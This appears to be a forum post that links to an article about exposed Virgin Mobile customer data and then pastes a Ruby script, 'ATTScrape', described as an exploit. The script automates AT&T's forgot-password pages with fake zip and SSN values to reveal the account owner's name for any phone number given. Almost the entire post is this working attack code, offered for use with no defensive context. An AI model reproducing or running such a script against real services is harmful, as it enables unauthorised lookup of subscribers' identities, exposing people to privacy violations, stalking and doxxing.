
limdis wrote:http://kev.inburke.com/kevin/open-season-on-virgin-mobile-customer-data/?

# ATTScrape
# An exploit-driven reverse lookup on at&t wireless subscribers
# Exploit found and written by Lord 0xF
require 'rubygems'
require 'mechanize'
number = ARGV[0]
def do_magic(number)
mech = Mechanize.new
# go to page 1
mech.get('https://www.att.com/olam/forgotPasswordAction.olamexecute?forgotPasswordActionEvent=forgotPasswordStep1') do |page|
# submit the number and form stuff and go on to page 2
page_step1 = page.form_with(:name => 'forgotPasswordActionForm') do |f|
f.forgotPasswordActionEvent = 'forgotPasswordStep2'
f.reportActionEvent = 'A_FPWD_FORGOT_PASS_IN_PROGRESS_SUB'
f.uverseon = 'true'
f.wirelineon = 'false'
f.ctnOrMemberId = number
end.click_button
# make sure subscriber exists
if page_step1.body.include? 'FP201'
@error = 'NO SUBSCRIBER'
return false
end
# parse page 2
@name = page_step1.body.scan(/\'AccountOwnerName\'\,\'([^<>]*)\'\)/imu).flatten.to_s.split(' ').join(' ')
# if we still don't have it, keep going
if @name == '' then
page_step2 = page_step1.form_with(:name => 'forgotPasswordActionForm') do |f|
f.zip = '10000'
f.ssn = '9999'
end.click_button
@name = page_step2.body.scan(/\'AccountOwnerName\'\,\'([^<>]*)\'\)/imu).flatten
end
# if its still not here, the record doesn't exist
if @name == '' then
@error = 'NO RECORD'
return false
end
end
end
if do_magic(number) != false then
puts @name
else
puts @error
end
Users browsing this forum: No registered users and 0 guests